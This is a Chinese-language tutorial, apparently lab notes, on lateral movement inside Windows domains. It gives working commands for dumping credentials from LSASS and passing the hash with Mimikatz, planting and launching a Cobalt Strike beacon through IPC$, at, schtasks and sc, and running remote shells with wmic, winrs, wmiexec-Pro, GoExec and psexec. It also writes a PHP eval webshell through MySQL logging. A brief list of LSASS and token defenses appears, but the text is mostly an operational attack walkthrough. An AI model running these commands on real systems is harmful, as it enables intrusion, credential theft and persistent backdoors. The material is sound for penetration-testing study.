横向移动

133 阅读4分钟

[TOC]

横向移动

在内⽹渗透中,当攻击者获取到内⽹某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭 证等各种⽅法,访问域内其他机器,进⼀步扩⼤资产范围。

注:如果⽬标机器开启了防⽕墙,拦截了相关端⼝则⽆法使⽤。做实验时,可以关闭防⽕墙和关闭clash tun模式。

哈希与令牌

哈希介绍

⽤户密码经过 单向加密(如 NTLM/MD4、Kerberos AES)后的固定⻓度字符串,⽆法逆向还原明⽂密码。

常⻅类型:
LM Hash(已淘汰): aad3b435b51404eeaad3b435b51404ee (空密码占位符)。 NTLM Hash:如 31d6cfe0d16ae931b73c59d7e0c089c0 (空密码)。
Kerberos Keys:AES-256、RC4-HMAC(⽤于 Kerberos 票据)。

令牌介绍

⽤户登录后,系统⽣成的临时访问凭证,包含⽤户的 身份(SID)、权限(Privileges)、会话信息。

常⻅类型:
主令牌(Primary Token):⽤户交互式登录(如RDP)时⽣成。
模拟令牌(Impersonation Token):⾮交互式进程(如服务)临时借⽤⽤户权限。

哈希与令牌的关系

明⽂密码 --> 加密 --> NTLM/Kerberos Hash --> 登录认证 --> 登录会话 --> 生成 --> Token

  1. ⽤户输⼊密码 → 系统计算哈希 → 与 SAM/NTDS 中的哈希⽐对。
  2. 认证通过后 → 系统创建登录会话 → ⽣成令牌。
  3. 令牌附加到⽤户进程(如 explorer.exe )→ 控制权限。

攻击中的协同利用

从哈希到令牌

通过 sekurlsa::pth(Mimikatz)⽣成新令牌:

mimikatz sekurlsa::pth /user:Admin /domain:corp.com /ntlm:8a963... /run:cmd.exe

效果:⽣成⼀个 Net-Only 令牌,仅⽤于⽹络认证(如访问SMB)。

从令牌到哈希

通过 sekurlsa::logonpasswords(Mimikatz)从内存抓取:

mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords

限制:需 DEBUG 权限且 LSASS 未被保护。

防御对抗

  1. 防护哈希泄露

    启⽤ LSA Protection(防⽌ LSASS 内存读取)。
    禁⽤ NTLM,强制使⽤ Kerberos。
    监控 Event ID 4688(可疑进程访问 LSASS)。

  2. 防护令牌滥⽤

    限制 管理员登录(减少⾼权限令牌在内存中的存在)。 启⽤ Protected Users 组(阻⽌令牌缓存)。 监控 Event ID 4674(特权操作如 SeDebugPrivilege )。

内置工具

IPC 横向

IPC (Internet Process Connection) 共享命名管道的资源,是为了实现进程间通信⽽开放的命名管道。 IPC 可以通过验证⽤户名和密码获得相应的权限,使⽤139、445(主要) 端⼝。

利⽤条件:

  1. ⽬标机开启了139或445端⼝(用 netstat -na命令)

  2. ⽬标主机管理员开启了 ipc$ 默认共享

  3. 知道⽬标机的账户密码

image-20251103214934853.png

IPC连接常⻅命令(木马步骤参考 cs反向连接木马主机 )

# 建⽴IPC连接命令:
net use \\192.168.52.138\ipc$ "password" /user:"Administrator"
# 查看连接是否建⽴:
net use
# 上传⽂件
copy C:\Users\Administrator\Desktop\beacon_x64.exe \\192.168.52.138\c$\windows\temp\beacon_x64.exe
# 下载⽂件
copy \\192.168.52.138\c$\59.exe c:\
# 查看⽬标主机时间
net time \\192.168.52.138
# 断开连接
net use \\x.x.x.x\ipc$ /del
net use * /del /y

image-20251103212846889.png

image-20251103213658895.png

image-20251103213830946.png

建⽴ IPC 失败的原因:

  1. 对⽅没有打开 IPC$共享
  2. 对⽅未开启 139、445 端⼝,或者被防⽕墙屏蔽
  3. 输出命令、账号密码有错误

建⽴ IPC 常⻅的错误代码:

5:拒绝访问,可能是使⽤的⽤户不是管理员权限,需要先提升权限
51:⽹络问题,Windows ⽆法找到⽹络路径
53:找不到⽹络路径,可能是 IP 地址错误、⽬标未开机、⽬标 Lanmanserver 服务未启动、有
防⽕墙等问题
67:找不到⽹络名,本地 Lanmanworkstation 服务未启动,⽬标删除 ipc$
1219:提供的凭据和已存在的凭据集冲突,说明已建⽴ IPC$,需要先删除
1326:账号密码错误
1792:⽬标 NetLogon 服务未启动,连接域控常常会出现此情况
2242:⽤户密码过期,⽬标有账号策略,强制定期更改密码

at命令(计划任务-低版本)

AT命令可在指定时间和⽇期、在指定计算机上运⾏命令和程序。建⽴ IPC 连接后可以使⽤计划任务 执⾏⽊⻢上线。添加计划任务时,最好查看下⽬标时间

# 拷⻉⽊⻢
copy c:\Windows\Temp\beacon_x64.exe \\192.168.52.138\c$\Windows\Temp
# 查看远程主机时间:
net time \\192.168.52.138
# AT命令添加任务:
at \\192.168.52.138 19:08 c:\windows\temp\beacon_x64.exe
# AT命令删除任务:
at \\192.168.52.138 1 /delete
# AT命令查看任务:
at \\192.168.52.138
# 查看at任务列表,已经执⾏了的,不会显示。

image-20251104210718194.png

image-20251104212524318.png

image-20251104212602681.png

schtasks(计划任务-高版本)

由于 AT 在 windows server 2012 等新版系统中已被弃⽤,所以需要使⽤ schtasks 命令代替。在使⽤schtasks命令时,会在系统中留下⽇志⽂件C:\Windows\Tasks\SchedLgU.txt。

命令格式

#创建任务
schtasks /create /tn task1 /U 域\域⽤户 /P 域⽤户密码/tr 命令/sc ONSTART /s 域机器ip /RU system
#运⾏任务
schtasks /run /tn task1 /s 192.168.10.2 /U 域/域⽤户/P 域⽤户密码
#删除任务
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域⽤户/p 域⽤户密码

更多请参考:blog.csdn.net/qq_39680564…

利⽤schtasks上线cs333

# 后⻔程序已经通过ipc上传到⽬标服务器上C:\Windows\Temp\beacon_x64.exe
schtasks /Create /U GOD\liukaifeng01 /P 13420203684Aa. /S 192.168.52.138 /TN Backdoor /SC minute /MO 1 /TR C:\Windows\Temp\beacon_x64.exe /RU System /F
# ⽴即运⾏计划任务
schtasks /RUN /S 192.168.52.138 /I /TN Backdoor
# 删除计划任务
schtasks /Delete /S 192.168.52.138 /TN Backdoor /F

image-20251106193816522.png

image-20251106194418780.png

sc(系统服务)

创建远程服务需要拥有两端主机的管理员权限(要创建服务)和IPC连接,具体操作:

  1. 利⽤已建⽴的共享连接向远程主机上传攻击载荷reverse_tcp.exe
  2. 利⽤已建⽴的IPC连接在远程主机上创建系统服务shell
# binpath的等号后⾯需要有⼀个空格
sc \\192.168.52.138 create Backdoor binpath= "cmd.exe /c C:\Windows\Temp\beacon_x64.exe"
#sc启动指定服务
sc \\192.168.52.138 start Backdoor
#sc停⽌指定服务
sc \\192.168.52.138 stop Backdoor
sc \\192.168.52.138 delete Backdoor

image-20251104214334053.png

image-20251104214531176.png

image-20251104214612348.png

WMI 横向

WMI (Windows Mannagement Instrumentation)全称 “windows 管理规范”,从 win2003 开始⼀直存在。它原本的作⽤是⽅便管理员对windows 主机进⾏管理。

使⽤ wmic 远程执⾏命令,在远程系统中启动 Windows Mannagement Instrumentation 服务(⽬标服务器需要开放135 端⼝,wmic 会以管理员权限在远程系统中执⾏命令)

Windows操作系统默认不会将WMI的操作记录到⽇志当中,⽽且因为采⽤的是⽆⽂件攻击,所以导致WMI具有极⾼的隐蔽性。

WMI服务开启,端⼝135,默认开启
防⽕墙允许135、445等端⼝通信
知道⽬标机的账户密码或者hash

wmic

⽆需上传第三⽅软件,利⽤系统内置程序,单命令执⾏,执⾏后⽆结果回显

wmic /node:192.168.52.138 /user:administrator /password:xxxxx process call create"cmd.exe /c ipconfig>C:\Windows\Temp\beacon_x64.exe"	

WinRM 横向

WinRM 代表 Windows 远程管理,是⼀种允许管理员远程执⾏系统管理任务的服务。默认情况下⽀持Kerberos 和 NTLM 身份验证以及基本身份验证。

利⽤条件:

1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利⽤需要⼿动开启winRM。
2、防⽕墙对5986、5985端⼝开放。

CMD 执⾏:

winrs -r:192.168.52.10 -u:192.168.52.10\⽤户名 -p:xxxxx "ipconfig"
获取交互式shell
winrs -r:192.168.52.10 -u:192.168.52.10\⽤户名 -p:xxxxx cmd

外置工具

Cobaltstrike

cs提供了⽐较完善的横向移动功能,结合其他外部⼯具可以快速横向移动。注意建⽴监听器的时候,⼀定要使⽤存活的会话,以前会话建⽴的监听器⽆法成功,如果开启了clash tun模式也会影响实验结果,记得关闭tun模式。

凭证获取:

hashdump
logonpasswords

image-20251106200856140.png

image-20251106205646134.png

image-20251106210023294.png

空密码: 31d6cfe0d16ae931b73c59d7e0c089c0 是NTLM的空密码哈希。 LM被禁⽤: aad3b435b51404eeaad3b435b51404ee 是LM哈希的占位符。 NTLM哈希⾮空且不等于 31d6c... → 可⽤于PtH或破解。 LM哈希为固定值 aad3b... → ⽆利⽤价值。

扫描存活主机:

image-20251106210933704.png

查看⽬标列表:

image-20251106211504178.png

横向移动:

image-20251106211617719.png

GOD 是标准的 NetBIOS 域名,在横向移动中兼容性更好

wmiexec-Pro

新⼀代 wmiexec.py,更多新功能,整个作只适⽤于端⼝135(不需要smb连接),⽤于横向移动中的AV规避(Windows Defender、⽕融、360)

在win虚拟机中的python版本是3.10.3,运⾏⼯具会出错误。上传压缩包并解压后在kali下可以正常执⾏,可以借助隧道进⼊内⽹

github.com/XiaoliChan/…

安装方式:

pip install -r requirements.txt --break-system-packages

image-20251106220525784.png

# 格式
python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h
# 启动交互式shell
python3 wmiexec-pro.py god/administrator:hongrisec@2025@192.168.184.140 exec-command -shell

image-20251107113634990.png

image-20251107113728656.png

用隧道穿透内网进行横向移动:

proxychains python3 wmiexec-pro.py god/administrator:password@192.168.52.138 exec-command -shell

image-20251107114439981.png

GoExec

Goexec 对业界常⽤的现有解决⽅案(如 Impacket 远程执⾏脚本( atexec.py , dcomexec.py , psexec.py, smbexec.py , 和 wmiexec.py ).)进⾏了⼤量的补充和改进

github.com/FalconOpsLL…

使⽤goexec⼯具的WMI 模块,参考goexec⽂档。在命令⾏中注意使⽤双引号,否则会出错

goexec.exe wmi proc 192.168.184.140 -u god\administrator -p hongrisec@2025 -e "cmd.exe" -a "/C net user" -o-

image-20251107122303972.png

用 proxifier 代理 goexec 进入内网:

  1. 打开 cs 的 socks5代理

image-20251107122721013.png

  1. 配置代理服务器和规则

image-20251107122557395.png

image-20251107124040943.png

  1. 用goexec连接

image-20251107124001051.png

Psexec

PsExec是⼀种轻巧的telnet替代品,可让您在其他系统上执⾏进程,并为控制台应⽤程序提供完整的交互性,⽽⽆需⼿动安装客户端软件。

⽬标机建⽴ipc连接后会释放⼆进制⽂件psexecsvc.exe到⽬标机中,然后在跳板机上通过执⾏运⾏Psexec,会为⽬标机远程创建⼀个PsExec服务并启动,接下来攻击者只需在跳板机上利⽤PsExec的远程命令构造⼀个交互shell即可实现横向移动。

psexec下载地址: docs.microsoft.com/zh-cn/sysin…

利⽤条件:

1、对⽅主机开启了admin$ 共享,如果关闭了admin$ 共享,会提示:找不到⽹络名
2、对⽅未开启防⽕墙
3、如果是⼯作组环境,则必须使⽤administrator ⽤户连接(因为要在⽬标主机上⾯创建并启动服务),使⽤其他账号(包括管理员组中的⾮administrator⽤户)登录都会提示访问拒绝访问。
4、如果是域环境,即可⽤普通域⽤户连接也可以⽤域管理员⽤户连接。连接普通域主机可以⽤普通域⽤户,连接域控只能⽤域管理员账户。

psexec(微软官⽅)

PsExec64.exe \\192.168.52.136 -u <username> -p <password> -s cmd

psexec(impacket ⼯具)

python psexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./qaxnb@192.168.52.136

PTH-哈希传递

PTH,即 Pass The Hash,通过找到与账号相关的密码散列值(通常是NTLM Hash) 来进⾏攻击。在域环境中,⽤户登录计算机时使⽤的⼤都是域账号,⼤量计算机在安装时会使⽤相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使⽤哈希传递的⽅法登录到内⽹主机的其他计算机。

利⽤条件:

1、在⼯作组环境中:
Windows Vista 之前的机器,可以使⽤本地管理员组内⽤户进⾏攻击。
Windows Vista 之后的机器,只能是administrator⽤户的哈希值才能进⾏哈希传递攻击,其他⽤户(包括管理员⽤户但是⾮administrator)也不能使⽤哈希传递攻击,会提示拒绝访问
2、在域环境中:
只能是域管理员组内⽤户(可以是域管理员组内⾮administrator⽤户)的哈希值才能进⾏哈希传递攻击,攻击成功后,可以访问域内任何⼀台机器
如果要⽤普通域管理员账号进⾏哈希传递攻击,则需要修改修改⽬标机器的LocalAccountTokenFilterPolicy为1
kerberos::hash /password:hongrisec@2026 /user:Administrator /domain:god.org

GoExec

多种⼯具都⽀持pth认证⽅式,参考⼯具⽂档即可,例如:

goexec.exe wmi proc 192.168.153.160 -u god\administrator -H 794adae2ad271e3a7bba23288c7d4702 -e "cmd.exe" -a "/C net user" -o-

wmiexec-Pro

当我们获得了内⽹中⼀台主机的 NTLM 哈希值,我们可以利⽤ mimikatz 对这个主机进⾏哈希传递攻击

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.153.160 /ntlm:794adae2ad271e3a7bba23288c7d4702"

内网综合渗透实验

信息收集

namp扫描

image-20251107191358865.png

image-20251107194916557.png

dirsearch目录探测

image-20251107193215457.png

goby扫描

扫出来ms17-010永恒之蓝漏洞

image-20251107193947634.png

7kbscan

在选择字典处找到目录探测字典

image-20251107200026298.png

最后找到网站备份文件

image-20251107200118052.png

GetShell

弱口令爆破出phpmyadmin密码为root

发现绝对路径:

image-20251107204408842.png

登陆后台发现sql注入失败

image-20251107204522260.png

采用日志getshell

  1. 查看相关参数

    SHOW VARIABLES LIKE '%general%';
    

image-20251107204653801.png

  1. 开启日志查询,设置日志文件路径

    SET GLOBAL general_log = ON;
    SET GLOBAL general_log_file = 'C:/phpStudy/WWW/11.php'
    # 路径名要是/,不然会被当成转义字符删掉
    
  2. 执行 SQL 代码写入日志

    SELECT '<?php @eval($_POST[cmd]);?>'; #注意分号不能是中文的 
    
  3. 关闭日志

    SET GLOBAL general_log = 'OFF'; # 不关闭日志,会导致shell越来越卡
    

image-20251107210239743.png

  1. 用蚁剑连接

image-20251108194938007.png

获取beacon(肉机)

用网站备份泄露进行web攻击

  1. 访问网站下载文件

image-20251108195650236.png

  1. 从data文件找到密码哈希

image-20251108200325194.png 3. 发现是yxcms结构,可以在网上找到已存在的弱口令漏洞

image-20251108200434405.png

image-20251108200535719.png

image-20251108200616910.png

上传木马上线肉机

  1. 上传免杀工具

image-20251108201402768.png

  1. 生成.bin文件木马并上传

image-20251108201643381.png 3. 运行工具,上线肉机

image-20251108203704673.png

权限维持

启动项后门

  1. 生成无 Staged木马

image-20251108204336274.png

  1. 上传文件并复制路径

image-20251108204555863.png

  1. 执行命令

image-20251108204711882.png

横向移动

内网扫描

image-20251108205659957.png